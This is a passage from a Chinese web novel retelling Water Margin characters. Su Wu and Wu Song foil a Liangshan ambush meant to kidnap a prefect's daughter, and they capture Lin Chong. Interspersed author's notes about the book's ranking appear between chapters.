社会风气上,还有盛唐的几分遗留,真正的男女大防,更是还未有,北宋,是历朝历代封建王朝开放风气的最后余音…… 只待到了南宋,一切就开始变了,越变越保守,越变越严苛。 所以,这个时代,才会出李清照那般的女子,也才容得下李清照那般的女子,抽烟喝酒烫头的女子。 呃……应该是赌博喝酒骂人的女子。 此时此刻,李清照还活得好好的,大概正在青州居住,她一辈子酷爱赌博,也常常醉酒浓睡,骂起人来,上到晏殊王安石,下到苏轼,前辈才子无数,没有不挨她喷的,改嫁与离婚什么的,那也不在话下。 所以,苏武看这知府相公的模样,不免也去猜那相公家难养的女子,会是个什么样的人物? 此时,苏武看出了程万里的百般纠结犹豫,话语说到这里了,苏武只管起身告辞,说去准备,就怕程万里转头来,又不干了。 程万里闷闷哼哼,只管让苏武去。 便是自己再起身出得书房,先转头去看那屋檐转角处,没看到人,倒也心下一松。 只待几步再走…… “父亲……” “唉……”程万里脑门疼,转头去。 “父亲说好了吗?”姑娘几步而来,不是蹦蹦跳跳,却也是脚步轻快。 “你适才没去听?”程万里问。 “没呢,父亲有言不准,女儿自该乖巧懂事,岂能违背父亲大人之意?那岂不是不孝吗?”姑娘是会的,会演。 “嗯,还算不错。”程万里很是满意,却是又皱了眉头:“乖女,我看凶险……” 乖女,便是常有的爱称昵称。若是男孩,便也有乖儿,若是富贵人家,甚至也称儿子为“乖官”,乖乖小官人的意思。 “怎么凶险了?”乖女儿自然来问。 “贼人凶狠啊,到时候,他们若是搏命打起来,只管杀得个血肉横飞,生死只在瞬间,怕是顾不得你了……”程万里说得连连摇头。 “谁?谁顾不得我了?” “那苏武啊,他到时候只顾与人厮杀,只想着擒贼立功,哪里还顾得住你来?”程万里又说。 “我若教贼人拿去了,他还立什么功?”乖女之所以能不同旁人,就胜在一脑门子的智慧。 “唉……到时候就教贼人把你拿去!便是痛煞我心,哭瞎我眼……”程万里还要说。 你道乖女一身演技从哪里学来的? “那教贼人夜半三更翻墙入院,又如何是好呢?”乖女知道,自家父亲哪哪都好,只少了几分胆气。 “唉……跟你说不清楚!”程万里说不过来,便是又两袖一甩。 乖女连忙追去几步:“父亲,没事呢……放心就是,那苏武啊,头前就为父亲拿命搏杀,此番自也亦是如此。” “你啊,不该生为女子,生作男儿多好?哼!” “嗯,是呢,男儿自是好养呢,也不用费尽心思去东华门外榜下捉婿,只管教人来捉就是……” “你真是要气煞我也!” (兄弟们,还有两天就要离开新书榜了,最高第三名,此刻第六名,个人而言,爬榜之事完美收官,当真心满意足,只等上架了,上架之后,肯定多更,这是毋庸置疑的,多更不仅是为了兄弟们多看,也是为了自己多赚钱,更是这本小说反响还不错,让人动力十足。万分感谢大家这一个月来的大力支持!) 第61章 将军也小心呐 知府千金要去慈云寺烧香祈福,阵仗倒也不大,只看得一个车夫驾着牛车往后衙门口来停。 那知府千金出得门来,知府相公竟也出门来送,稍稍作别,立马上车,便也出发。 八个小厮跟随,每两人并扛一个大箱子,跟在车后慢慢走着。 倒是那新任东平府兵马都监苏武也打马随行,左右跟了四个兵丁在走,便算是护卫了。 如此,一路往城外去。 府衙头前不远,有一个茶楼,二楼单厢里坐着一个儒生,那儒生年岁三四十左右,吃起茶来,一举一动倒也讲究,便似有几分儒生的气派。 左右还有三个五大三粗的汉子伺候。 片刻之后,有人敲门进了厢内,便说:“学究,三天了,机会终于来了,那知府家的女儿出门了,车驾正经过外间道路,学究只管看得一眼。” 这儒生起了身,走到窗户边,也并不往外探头,只是稍稍看了看楼下的道路。 便是皱眉:“人手不少,算起来十三个……十四个。” 那禀报之人便说:“就那个打马的是苏武,身旁四个兵丁,随行的小厮算不得什么人手。” 那学究收了视线,坐回原坐,摆手说道:“不可小觑啊,莫要懈怠轻敌,倒是咱们人手更是精悍。你可亲眼看到那知府家的女儿上车了?” 禀报之人点着头:“看着她上车的……” 那学究却说:“你看着也不认识,此事啊,要慎之又慎,还待董将军亲眼见到才作数。” “唉……这东平府里认识董将军的人太多,他便也不好进城了,这该如何是好?” 学究起身了:“不急,走,快些走,赶到头前去,只要出城去,总有目的地,便也还要下车来,总有机会,必要万无一失。” 说着话语,厢内五个人,立马下梯出了茶楼去。 车驾队伍,慢慢便也出了城,苏武打马在前,武松打马跟在身旁,两人慢慢说着话语。 “二郎,若是梁山之人来了,交给你一件事。”苏武脑子里早已想了许多事情。 “哥哥只管吩咐。”武松点头应着。 “你只管缠着一个人斗……”苏武显然又在谋划什么。 “何人?”武松认真不少。 “而今那梁山上人手不多,此般大事,那东京八十万禁军教头林冲,十有八九也会来。只待分辨出哪个是林冲,你只管一直缠着他斗,怎么也不能教他走脱了去。” 苏武眉宇中倒也不是凶恶,而是一种思索。 “哦……”武松点着头,却也想了想,说道:“哥哥要擒住他?” 苏武笑着答:“擒得住他,倒是好处不少。给那梁山送去了一个董平,他们便也该还我一个人才是,就他了。” “好!如何也不教他走脱了去。”武松点头应下。 苏武此时转头看了看那车驾,那车驾里的人也无甚动静,便也转头回来去看道路左右,密切关注。 这队车马之后,隔了三四百步,才有另外一队人,稀稀拉拉并不成队,有人推着装柴火的空车,有人挑着卖完木炭的担子,有人独轮车上还有几棵没卖完的蔫菜…… 相隔的距离有些远,便也是苏武故意为之,近了就怕要出破绽。 官道路边,一个小山岗后,聚了十几个汉子,众人坐在土坡上,只等人来。 头前茶楼里的那学究带着五个汉子赶到此地,众人立马起身。 最着急的莫过于双枪将董平,上前就迎:“学究,是不是机会来了?” 学究点着头:“倒是真等到了,那知府女儿已然出城了,只是还不确定是否真是她在车上。” 董平激动不已:“定是错不了,走走走,兄弟们,既是出城了,快去快去。” 那学究稍稍抬手:“将军不要着急,不论什么事,都要谨小慎微,谋定而动,此时出城还近,不是动手的时机,只待他们到了目的地之后,再动手不迟,也是要再确认一二,万万不能绑错了人,若是绑错了,那就是打草惊蛇,来日机会怕是再也难寻。” 董平收了几分激动,只道:“学究果然高明,那……那他们是去何处?” 学究捋了一下胡须,做出几分姿态,一脸的胸有成竹:“一个女子出城来,带着那么多东西,本也是外地人,不曾有什么亲眷,十有八九,慈云寺礼佛。” “苏武!那苏武在不在?”董平满脸凶恶再问。 “苏武随身护卫。”学究点头。 “好!”董平双手一击,一副跃跃欲试模样,再说:“就在今日,教我心中好生畅快一番,苏武今日,定要斩杀!” 学究笑了笑:“怕是将军要畅快两番吧?” 董平闻言先是不懂,却是又会意过来,有些不好意思笑了笑:“也主要是为了救那刘唐兄弟……” “将军,那知府之女,当真如此好?”学究笑问着,当真也是个人精一般的人物。 董平脸上凶恶扫去,便是几分红润在脸:“好,当真是好!这小娘自小读书,说起话来,那是聪慧有理,性子也好,不似那一般女子苦大仇深,多是跳脱轻快乐呵。长相嘛,只这般说,我董平也算见多识广,便是从未见过这般美貌之人。” 学究也笑:“我看呐,将军是看对了眼,怎么都好看,兴许也是那官宦人家的女子,就是天生比寻常女子多几分姿态。” 只看众人闻言,一片哄笑,男人间的这种笑话,极其有助于兄弟情感上的建立。 便是有一人,却多少笑不出来,兴许是他听得董平之语,想起了故人,他本也有个美貌且贤良的好妻子。 董平见得众兄弟哄笑,立马说道:“诶!学究,并非此理,只待你们真见了就知我所言不差!” 学究玩笑归玩笑,正事还是主要:“小五小七,你们远远跟着去,莫要太近,莫要败露,小心谨慎,不急,他们此去,必是要回的,只要不跟丢了就行。” 两个壮汉出来拱手:“得令!” 那边官道大路,苏武满心的戒备,倒也不急,只管慢慢行去,也不赶路,便是那车驾慢着走才舒适。 只听得身后车驾里,忽然传来话语:“将军……” 苏武闻言转头去,就看那车驾窗帘掀起了一角,那双眼眸,倒是熟悉非常。 马匹停了停,并排在车架旁边,苏武问:“小姐有何事?” “将军可知,这贼人会从哪边来?” 苏武只答:“应该是前后一堵,夹击而来。” “将军可当真都备得万无一失?” 苏武微微皱眉,便是也在这姑娘语气里,听出了几分紧张。 心中也想,这事吧,定然不是知府相公应的,那就是车里这位姑娘主动应下来的,着实是个胆气十足的姑娘。 却也是这姑娘,当真事到临头了,终究还是紧张担忧,人之常情,此番世面之后,兴许再遇事又不一样了。 苏武轻声安慰:“小姐放心,万无一失。” “那将军……”姑娘欲语还休。 “小姐当真不必担忧,些许贼人,不在话下,若是小姐不愿见那血腥,只管在车内不要往外看就是。” 苏武便也是细心非常,就怕这姑娘真看到了那血肉横飞的景象,不免夜里噩梦连连。 “哦,好……将军也小心呐……” “嗯,小姐放心,杀人之事,做得惯了,便也手到擒来。”苏武这话,便还是尽力安慰安抚。 “好呢……” 第62章 怕是不好 已然在官道行得许久,要转入岔路出官道,便是往慈云寺去的路,这段路其实不远。 但苏武已然吩咐:“二郎,我在前你在后。” “好!”武松打马往车架之后。 苏武已然紧张起来,但是表面上还装个毫不在意,头只随着马的颠簸来回晃动着。 只待当真到了慈云寺,小姐下了车,苏武下了马。 便是此时,苏武其实才第一次真正见到这位小姐的全貌,头前后衙上车的时候,苏武只打马在路旁守卫,便是视角不对,并未真正看清,也不好去看。 就看那小姐身材适中,略显消瘦,云鬓简单,也并无多少装饰之物,素面朝天,没有几分粉黛在脸,却也满脸白皙,却还看得那脸上白皙透着红润,透出一种青春的健康。 眉眼中带着几分灵动,双眼圆大,睫毛轻颤,有那几分可人,鼻梁微挑,鼻翼而下,那小唇一动:“还请将军安排……” 苏武自也不好多看,还看了一眼那一身襦裙……没看了,不多看,苏武什么女子没见过? 只管往寺里去,有那知客僧来迎,苏武只说:“知府千金前来祈福,烦请知会一二,行几分方便。” “好说好说……快请!”知客僧先不去看苏武,而是先看苏武身后那八个小厮抬着的四个大箱子,自是热情非常。 众人入了寺,随后有那住持亲自来,慢慢介绍寺庙的情况,唐代始建,如何传承,供奉哪些,出了几位高僧大德,如此种种…… 知府千金跟在一旁听着,苏武带着栾廷玉在后跟着,再进大雄宝殿去。 开始正式礼仪,住持亲自敲磬,亲自念佛,亲自帮着祷祝。 那姑娘跪在大佛之前,虔诚非常。 苏武就站在身后,还往那大佛左右去看,便是觉得这大佛背后,说不定也能藏得几个贼人。 慈云寺外,十几个汉子聚在一个草窠之后。 还是董平最急:“是她是她,她在那寺庙下车走进去的时候,便是远远一眼看去,就是她!” 学究还要谨慎再问一次:“当真看清!” “千真万确,看别人兴许还能看差了,看她,我董平万万看不差!”董平一脸激动。 众人便又是呵呵来笑。 董平也不在乎,又说:“学究,何处动手?” 学究不急,想了想,方才说道:“就在那岔路到官道的转折之处动手,诸位,要快,劫了人立马就走,先往北走,再入山岗,翻越之后再往南,如此教那官兵不好追缉。” 董平连连点头:“好好好,就依此法!” 学究又是左右来看:“林教头斗那苏武,董将军斗那小将,其他人,只管一拥而去,把车里人劫了就走,不要恋战!” 董平立马不愿:“学究,我与林教头换一换,我斗苏武,让林教头去斗那小将。” 学究却还是摆手:“将军,此番目的不是旁人,而是那知府千金。便是怕你一时半刻斗不下,却还不肯罢手。将军,此行而来,本就冒着风险,我们一路而来避着大道,也不曾打马,沿途回去,说不得四处都是官差兵丁来赶来截,时间紧迫……” 董平又岂能听不懂,只答:“学究,只管让我斗那苏武,要不得几下,我定杀了这厮……” 学究就问:“若是杀不了,将军可要听我的,说走就走,若是将军不走,我们可当真不能多留。” 董平便是皱眉,哼哼一语:“听学究的就是。” “好,如此,让你斗那苏武,林教头斗那小将,众人拥上,小厮小卒,只管砍杀,莫要留手,劫人为要。” 学究,智多星吴用,定计当前。 此时,大雄宝殿里,知府小姐祷祝完毕,起了身,往殿外而去。 苏武自也跟随,就听得头前小姐忽然开口问:“将军可知我适才祈的什么福?” 苏武此时心不在此,一边跟着小姐往外走,两只眼眸只在左右去看,这慈云寺不大,但房屋不少,便是左右一间一间,苏武锐利的眼神都要仔细扫过。 那吴用大计兴许一般,但坑蒙拐骗的路数,实在是防不胜防,苏武岂敢丝毫懈怠? 却是听得小姐问,苏武闷闷一语:“啊?” 小姐转头来看苏武,一双眼眸里起了几分幽怨:“将军可知适才我祈福何事?” “啊?不知!”苏武摇头。 “只愿此番将军之事,皆是顺利,我也安全回家去……”小姐看着苏武说着。 “哦,定然如此!”苏武点头,点得很认真,点得很用力。 “走吧……”小姐语气有几分无奈,便是又道:“上车回衙,贼人怕是就要来了。” 这话倒是让苏武回了神来,好奇也问:“小姐何以知晓贼人要来了?” “贼人总是要来的,来这一路,怕是已经被盯着了,回去这一路,自是贼人准备妥当了。”小姐答着。 苏武两眼一睁,心中微惊,这姑娘……好有一分聪慧在身上。 苏武甚至去看了看一旁的栾廷玉,栾廷玉也是一脸吃惊,便是事前,苏武与众人商议之时,也是这么预料的,说去时兴许无事,但不可懈怠,回时更要格外警惕。 就听程小姐又问:“怎么?教我说中了?” 苏武小小惊讶之后,笑了笑:“兴许真说中了,便是且看着……” 出门上车,回程。 苏武一柄长枪在手,捏得死死,这事可万万不能出得差错。 那赶车的车夫栾廷玉,也是回头看了一眼那车帘之后,一杆精钢枪就在车厢里放着,随手便能抽出。 只待车驾慢慢走去,眼看又要上官道。 终是来了。 没有什么花里胡哨的话语,也没有什么来来去去的分辩。 只有几人忽然从路边冲到路中,一人持枪开口大喝:“苏武,今日就是你的死期!” 熟人,董平。 再看后面,也是几人,领头一个,也是一杆长枪横在路后,倒是没什么话语。 苏武也不多等,打马就去,长枪在手,只看董平。 此时此刻,也没什么惧怕不惧怕,董平也无马匹,更是没什么惧怕,唯有搏这一番。 就看栾廷玉已然抽出长枪立在车前,他却不动,因为他就负责守卫车架,却有话语提醒:“将军沉着出枪!” 真是个好老师。 就看那四个兵丁,皆在车驾左右,八个小厮,忽然也先冲向车架,瞬间,也是八柄长刀在手,一身架势立马就变,前后两排稳稳站定,丝毫没有慌乱,一个个弓身持刀,显得凶悍十足…… 不远,树林之后,有那学究暗处看得全场,立马心中一紧,面色就变,口中有语:“怕是不好……” 这学究身旁还留了一人护卫着,便是立马来问:“学究,怎么了?” “敌人有防备,只看众兄弟武艺了!”学究一脸担忧。 身旁之人只道:“学究放心,有林教头与董将军在前,还有阮家三兄弟同在,并宋万与杜迁二人帮衬,哪里有人能斗得他们联手?” “但愿如此!”学究话语这么说着,但脸上的担忧,丝毫不见少,双眼已然往远处去看,左右都看,心中更又生起一忧。 (兄弟们,今夜无话,只管再谢!) 第63章 再来! 就看苏武打马飞奔而去,一杆长枪先收在腋下。 那董平也是脚步飞奔而起,往前来迎,脸上凶恶自不用说,还有话语:“苏武,拿命来!” 电光火石之间,只看苏武长枪陡然从腋下猛烈刺出。 那董平也是高高一跃,长枪奋力而去,便是要把苏武当场从马背上捅刺而下。 却是这瞬间,董平忽然心中一惊,本来刺出的长枪拦空一挑。 就看两柄长枪叮噹一响,立马有那栾廷玉的声音:“好!” 董平有些不敢置信的转头去看,看苏武打马已然错过去,正在远处勒马准备再回。 上次,董平虽然没有与苏武斗过兵刃,但也看过苏武持枪击人,那时候,动作虽然也算迅猛,但着实算不得什么武艺在身。 今日,就这一枪错去,董平陡然惊觉,苏武,竟是真会,长枪使来,迅捷精准。 苏武转头打马再来,这一次董平并不跃起了,沉着站定,长枪前放,双眼紧盯苏武动作,沉着非常。 就看苏武再来,又是一刺,董平脚步横移,长枪横挺,就看马背上的苏武也是一惊,立马扭身去躲,堪堪躲过,自也是凶险非常。 董平哈哈笑起:“以为你会,还高看你几眼,竟是会得不多。” “将军下马!”栾廷玉如此一语。 打马冲回来的苏武自然下马站定,栾廷玉再来指导:“将军不要硬拼,与他游斗!” “好!”苏武点着头,第一次战场实操,虽然会得不多,甚至只算刚刚入门,但有董平这样的高手实战操练,增长的不一定是武艺,而是一种感觉,高手对战的感觉。 机会着实是好! 就看车驾后边,早已打了起来,打得噼里啪啦一片。 武松正斗一人,只得交手几番来去,武松眉头一皱,眼前这人显然当真一身绝佳的好武艺。 武松便还开口去问:“你莫不就是林冲?” 当面大汉一脸骄傲,便也点头来答:“某正是林冲!” 林冲,这辈子真正的骄傲,也是这一身武艺,但凡有人见他说上一句“东京八十万禁军教头”,他便立马心情大好。 这句话,从来不是形容他的官职地位,而是形容他武艺不凡。 便是有那好汉问他的名,他自是行不更名坐不改姓,林冲是也,便是不知多少次,只要这名头一出,立马教人先胆怯三分。 只是今日意外,当面那人听得他是林冲,竟是一脸欣喜,开口来说:“是林冲就好,寻的就是你。” 就看这话语之间,硕大朴刀抡得空气爆裂,嗡嗡作响。 林冲一杆长枪,耍得如出水蛟龙一般,横来横挡,竖来竖挡,若是游龙一出,更是点点寒芒在催命。 武松许也是第一次与这般高手真正捉单对敌,一时间竟是稍稍落了下风,口中有语:“你这厮当真滑腻!” 此时武松似什么? 便似初出茅庐,更也是初生牛犊,一股热血激情。 林冲却是不同,就是那武松之言,滑腻,过于老成,过于熟稔,过于经验十足。 林冲还有礼有节来答:“年纪轻轻,你也不差!” 其实答得是一脸的骄傲自信。 就看那武松收了脸上几分欣喜与笑意,换了一脸凶恶与红眼,牙关一咬,两腮左右鼓得高高,朴刀再起,口中连连有呼喊:“啊啊啊!” 林冲招式那早已是炉火纯青,只待那朴刀来,一挡就是,顺势再出一枪,必然又能再占先手。 却是此次不同,那年轻人一刀而来,挡得林冲虎口大震,再想出枪去,竟是慢了半拍,那年轻人一刀竟是又来,这慢了半拍的枪出不去,唯有再挡。 再挡,便是脚步也止不住去退。 林冲心中一惊,只觉得这年轻人有一种奇怪之处,这一身巨力,好似有一个开关,一开之后,当真有一种狂暴之感,着实难以正面而敌。 林冲立马也换策略,长枪一收,两步先退,然后再来出枪,便是图个快,以快制暴。 就看那年轻武松,刀抡起来,必然不会停顿,长枪来了,即便马上要刺中自己,他竟也还要抡刀去,只问他如何避枪? 他竟拿手去抓,抓枪身也可,抓枪刃也敢。 便是一下让他抓到了枪身与枪刃连接之处,猛力一扽,朴刀就下。 此般危急,林冲都有几分目瞪口呆,好在他着实老辣非常,脚步一蹬,凌空侧翻,枪也不失,人却只是惊险避过,顺着侧翻的扭力,收枪而回。 一时之间,林冲竟还有几分后怕之感。 “再来!”武松看了一眼自己磨破的手掌,咬牙之间,咧开了嘴,是那森森白牙。 林冲此时,终于皱起了眉头,事情不对,一切想得过于简单,东平府地面,何曾听闻过有这般一个年轻人? 这般年轻人,着实狠辣狠厉,岂能没有大名在外? 林冲马步站定,双手一前一后,把长枪持握在前,事情当真不对劲了…… 没有什么游刃有余,面对这么一个年轻人,当真是步步凶险! “啊啊啊啊!”那年轻人暴喊再来。 林冲再也不敢丝毫托大,如此对敌,唯有硬桥硬马,先不输,再想对策,再寻破绽。 车驾前后,早已有人一拥而去,也是早有定计,绑人为要。 一马当先阮小二,有个江湖绰号“立地太岁”,武艺不凡,义气当先,来日是那梁山水军头领之一,排行二十七位。 他使的是短刃,仗着的是一身灵动刁钻,在水中短刃也更好操弄。 只看他往车驾冲去,一杆铁枪横在他身前,他一时倒也不在意,只管就地准备一滚,便是要突入近身。 却是那长枪低扫一来,又快又准,逼得他还没滚下去,便是手撑地面去躲。 阮小五更是在旁配合,已然好似就要近身,他有诨号“短命二郎”,这诨号说的是他的敌人短命,却也更是他阮小五喜欢搏命,每每敢行凶险,凶险之间,便是自己好似也不怕短命。 就好比此时,他毫无顾忌近身去,就是搏命之法,就看那电石火花之间,谁先死。 却看那铁枪枪尾一横,往前一送,快捷无比,就把阮小五推出七八步去,推得阮小五一脸惊骇。 阮小七已然就在身侧,这人诨号“活阎王”,长得实在是丑出天际,不堪入目,满脸疙瘩横肉,一坨一坨,一块一块,两只眼睛更是凸出眼眶…… 丑得就像地府里的阎罗王一般骇人吓鬼。 却也是他,最是一身横练,硬桥硬马,长刀在手,就来劈砍。 那铁枪汉子眉目一挑,稍稍皱眉,身形先往后退一小步,抵在车旁,往后顺手一捞,一柄短锤在手,就往前砸。 栾廷玉,还有一手短锤之法,甚是了得,便是他钻研武艺,近身远身,皆有所得。这柄短锤,故事里,这柄短锤可收可放,曾把那摩云金翅欧鹏砸落马下。 噹的一声。 横练阮小七,却也脚步踉跄往后去。 皆不过三瞬,弄水的好汉,竟是连连破不得来去几手。 三人互相对视一眼,皆在皱眉不止。 却也箭在弦上,无奈之下,三人同时再来。 就看那一柄铁枪舞得密不透风,是刺、是挑、是撩、是横、是截、是抡…… 三人左右来去,自是又进又退,难得抓到空档近身再去,一柄短锤照头就来…… 这汉子以一敌三,竟还能出言指点苏武:“将军,别管那董平来去,只需眼疾手快,以守为要!” 第64章 苏武,你不得好死! 苏武哪里会不听栾师父之言? 此时此刻,拖着就是,他知道自己此刻暂时没有能力打败董平,进攻之法必然不奏效,反而容易露破绽。 那就一杆长枪在身前,护着自己就是,董平长枪怎么来,他便怎么挡,还步伐来去,游斗,那就是个游。 武艺要勤学苦练才成,但双腿跑步,左右躲闪,天生就会。 直气得那董平大喝来问:“苏武,可敢一战?” 却是有人早已大急,林子暗处里传来吴学究的呼喊:“董将军,莫要恋战,拿人就是,拿人就是啊!” 董平好似丝毫不闻,也是他没去关注那车驾之前,有人一杆长枪挡住阮家兄弟不得寸进。 他的眼中只有一件事,那就是恨急了当面苏武,今日只要看他苏武人头落地。 再看车驾,一边栾廷玉挡得死死,另外一边,十二个汉子围得紧紧。 梁山之贼,先去几人,互相砍斗,皆不奏效。 有那人高马大之人,两个,一个是云里金刚宋万,一个是摸着天杜迁,两人皆是近两米的身高。 一左一右,往那十二个汉子冲去,两人皆使长刀。 却是那十二个汉子悍勇非常,悍勇倒也还是其次,更是配合得当,有人管左,必然有人管右,有人往前,必然有人殿后。 只看那刀光来来去去,一时也不奏效。 越是不奏效,那两个巨汉越是着急,越是着急,便越是不太奏效。 若是放在平时厮杀,两员巨汉只管慢慢来,先破一人两人,乱了配合之形,再来左冲右突,应该也是不在话下,只看时间长短。 只是今日,着实不同,那林子暗处里,呼喊不断:“快些,快些啊!莫要恋战了,拿人拿人!” 吴学究是喊得着急不已。 阮家兄弟更是频频犯险往前,硬生生就被一杆铁枪拦在当场。 林冲早已大急,他急也无奈,当面年轻人,凶悍得远超他的想象,林冲何等人物? 他乃东京人士,见过多少世面? 还有哪般高手是他没见识过的? 偏偏今日,在这山东地面,小小东平府处,真就有人能如此难为于他! 那暗处吴学究,已然是双手握在一处,眉头皱在一处,双脚左右在动,双眼到处去看。 莫不是今日真要出事? 一旁还有护卫他的汉子,看得着急不已,绑个人的事,怎么弄这样子了,也心急在问:“学究,怎么这些官府之人如此悍勇不凡?” 一个月赚一贯五,卖什么命啊? 吴用哪里还有心思答这般没有意义的话语? 护卫汉子又问:“学究,这可如何是好?要不我也去帮他们?” 吴学究心急之下,便是一语:“你去顶个什么用?” 那护卫汉子便也被一语噎住,他也知道,这般场面,他去也只能顶个鸟用。 就听吴学究又喊:“先绑人,绑人呐!” 那个要被绑的人,竟是此时当真挑起了车帘往外看去,就看四周打作一片,看得一眼,便又吓得把车帘一放。 车帘放了,却是又被轻轻挑起,一双带着惊吓的眼眸,还是忍不住要往外去多看几眼。 董平刹那间看到了一眼那车里的人,也听吴用呼喊来去,稍稍一犹豫,再看一眼刚刚脚步横移躲到他身侧的苏武。 便是犹豫之间,果断了一下,再也不看苏武,只管往那车驾去,事已至此,苏武今日命不该绝了,绑人为要。 只待董平两步去,就听身后破空之声呼呼作响,还有话语:“董平休走!” 董平无奈,回身回枪去挡。 那苏武就在眼前,当真越看越可恨,越可恨越无奈,便是提枪再去追赶苏武几番。 又是不得,转头来,董平又往那车驾去。 又听身后苏武话语:“今日你不杀了我却想走?” 又得回身去挡,挡下不是什么很难的事,不挡又是不行。 他明白,自己被缠住了,缠得烦不甚烦,便是奋力一喊:“众兄弟,我先杀苏武这厮,你们速速绑人!” 竟是还能听得栾廷玉之语:“将军今日着实了得,斗那董平也不落下风。” 这夸得有点生硬,纯属硬夸,但也还有苏武回话:“栾师父教得好!” 那吴学究在暗处看着,口中虽然不说,心中早已知晓,当真大事不妙了…… 却是一旁那护卫忽然往远处一指:“学究,你看!” 吴用循声看去,便是一声喊:“众兄弟,快走,快撤!” 不远官道,忽然转过来一批人,都往这里冲来,已然不用想,今日事败! 快走?快撤? 董平还转头去看了看吴用躲避之处,一脸不可置信,走什么?撤什么? 眼前之局,他已左右观察了几番,看得清楚,虽然艰难,但只要长久鏖战,定能奏效,此时撤走,岂不可惜? 只当那吴用一个学究,是见场面迟迟不下,便心中慌乱了,纯属乱指挥,便是开口去回:“学究放心,苏武这厮斗我不过,只再待得一时半刻,大事可成!” “走走走,敌人援军到了。”吴用唯有这么去说。 就看那边,林冲已然在往后退,他自是知道吴用这人,从来不会胡乱指挥。 “林冲,哪里走!”武松咧着一口白牙,看得让人恐怖非常,今日哥哥有吩咐,如何也要缠住这厮。 倒也是哥哥当真看人精准,这厮当真好手段好武艺。 若非这般人,哥哥哪里又看得上? 定然不能教他走脱了去,他想走,便缠得死死,教他脱身不得。 林冲脚步虽然在退,但丝毫不敢转身,眼前这年轻人,疯了癫了一般,狗皮膏药一样粘人。 那边阮家兄弟,更是听令,说退就退。 云里金刚宋万、摸着天杜迁,两个巨汉,更是早已在往路边林子里去。 这梁山之贼当真不一般,真有几分令行禁止的模样。 唯有董平,寻着苏武不甘休,苏武也是压力巨大,已然是隔着一棵树来与他缠斗了。 斗得董平骂咧不止:“苏武,你不得好死!” 他真想杀人,就是杀当面这人。 杀不到,便是诅咒也要咒死他去。 就看栾廷玉正在奔来,苏武还能有笑:“你再不跑,可就跑不脱了。” 苏武甚至还担心董平这个莽夫真的跑不脱了,如果他真陷在此处,那上次可就白放他走了。 “撤,快撤!”吴用喊得是心急如焚。 董平看着苏武那笑脸,更是怒不可遏,一怒之下,又怒一下,持枪再捅。 就听得空中嗡嗡大作,这般声音,一般江湖汉陡然一听会有不解,但董平听来,太耳熟不过。 董平立马转身去,抡起长枪在空中扫荡几番,叮当几下落了好几支箭矢。 却是树那边的苏武竟敢提枪来刺,倒也是时机把握得极好,当真就有这份敏锐的战斗嗅觉从来不差。 董平便是武艺再高强,也免不得狼狈去躲,甚至往地上去滚。 再看苏武,董平牙咬切齿也更是再怒。 只看左右,好似众人皆在退,他还在场,那嗡嗡的弓弦又起,也不知哪里来的这么多弓弩娴熟之辈,精准无比,便是他与苏武相隔不过几步,也敢来射,丝毫不怕误伤苏武。 “哥哥,我来了!”更有人在喊。 董平又是滚地,不滚不行,这箭矢过于精准,便是滚了地,竟还有箭矢预判而来,人还未起,又是长枪乱扫几番,再是堪堪打落。 一柄铁枪又来,便听破空之声就是势大力沉,又准又快,董平接着还滚,甚至滚得手脚并用。 只那车帘里的双眼看去,董平就是个满地打滚,狼狈不堪。 还有苏武话语:“你可当真跑不脱了!” “董将军快快脱身。”吴学究已然喊得是撕心裂肺了,却是也来不及关注另外一边的林冲,林冲也是脱身不得。 (这两章写得好累,来来去去删删改改,只怕不精彩,更怕不符合兄弟们的心中所想。) 第65章 将军公务为要 只看那董平,此时心中已然有了几分慌乱,便是苏武的长枪也来,栾廷玉的长枪也来。 董平本就地连连在滚,霎时间哪里还能招架,更是连滚带爬在逃,直往路边林子里去。 林卯与李成也赶了上来,手中弓弩连连去射,几十号猎户汉子,更是四处在射。 近处早已射倒几人在地。 那董平往林子只管钻,逃命之时,快得惊人,却是背后箭矢咻咻而来,忽然只感觉手臂微微,转头一看,一支箭矢已然穿透右手整个大臂。 苏武看了看已然入林子里的董平,回头又去看武松那边,立马转头而去,显然拿住林冲更重要,万万不能让林冲逃脱此番! 那董平只管闷头在林子里钻,不管不顾拼命去钻。 苏武带着栾廷玉,已然到了车驾另外一边,十几号汉子围作一圈,后面还有不少弓弩在等,苏武与栾廷玉也围了过来,中间正是武松与林冲斗得天昏地暗。 一时不急,苏武转头去看那吴用一直呼喊的方向,便是开口去喊:“吴学究行事,当真缜密,进退自如,说来就来,说走就走!” 苏武知道,林子里躲着的吴用肯定听得到。 却是吴用并不回话,他正满心欢喜看到董平钻入林子,转头来看,却见林冲陷阵出不来了,便又是一脸焦急,脑袋里疯狂运转。 却听苏武再有喊声:“吴学究,这八十万禁军教头林冲,你救是不救啊?” 吴用显然正在陷入这般纠结之中,救是不救? 却是更惊苏武一语叫出自己的名头来,吴用甚至觉得有些不可思议…… 就看那林冲被众人围困当场,与那武松陷入苦斗,斗得险象环生。 显然林冲心态也变了,也急了,若不是这般被围困的局面,林冲与武松还要有一番好斗,只是这般局势之下,林冲已然开始慌乱,更是知道旁边还有一个使铁枪的汉子,也是不凡之辈。 还有苏武来喊:“吴学究,江湖义气,兄弟失陷,当真不救了?” 吴用左右去看,阮氏兄弟已然奔出很远,宋万杜迁在往另外一个方向去,董平更是不见人影。 还有五六个大汉,四面在逃,已然死了五六个在当场,多是被箭矢贯穿。 再看那车驾左右,持弓弩的汉子几十人,今日已然惨败。 也是苏武越发明白,弓弩当真好用。 却听吴用竟然答了一语:“苏都监,此番算你高明,我中计也,来日再来过手!” 要跑了? 还要有来日? 苏武倒也不急,只开口喊:“吴学究当真把林教头就这么弃之不顾?” 这话语,苏武是看着林冲方向说的,兴许就是说给林冲听的。 没想到林冲也是一声大喊:“兄弟们只管走,不必管我!” 义气! 其实挺感人…… “吴学究啊,这林教头如此义气,你却当真不救?”苏武非要来点诛心之语。 林中无话来回。 苏武大手一挥:“速战速决,还有大事!” 苏武谋划了好几番,这才第一番,之后事情还多,梁山这件事,必须要暂时划上一个句号,要有一个了结。 也是苏武头前就有预料,吴用是真有几分能力的人,来这一趟,必然谋划得妥妥当当,退路早有准备。 苏武一语而下,栾廷玉立马进场,长枪直往林冲去。 林子里却又有了吴用的声音:“林教头放心,待得几日,兄弟们定来救你!” 只是吴用这声音,越来越远了。 如此看起来,吴用当真果断非常,毫不拖泥带水,说走就走。 也是这东平府太近,若是再不走,只怕那城中军汉皆出,四处搜捕,只怕真就走不脱了。 再看当场,林冲已然被围得死死,栾廷玉长枪去,武松朴刀来,那林冲已然只有招架之力。 却也还是奋力反抗反击。 “快快拿人。”苏武催促一语。 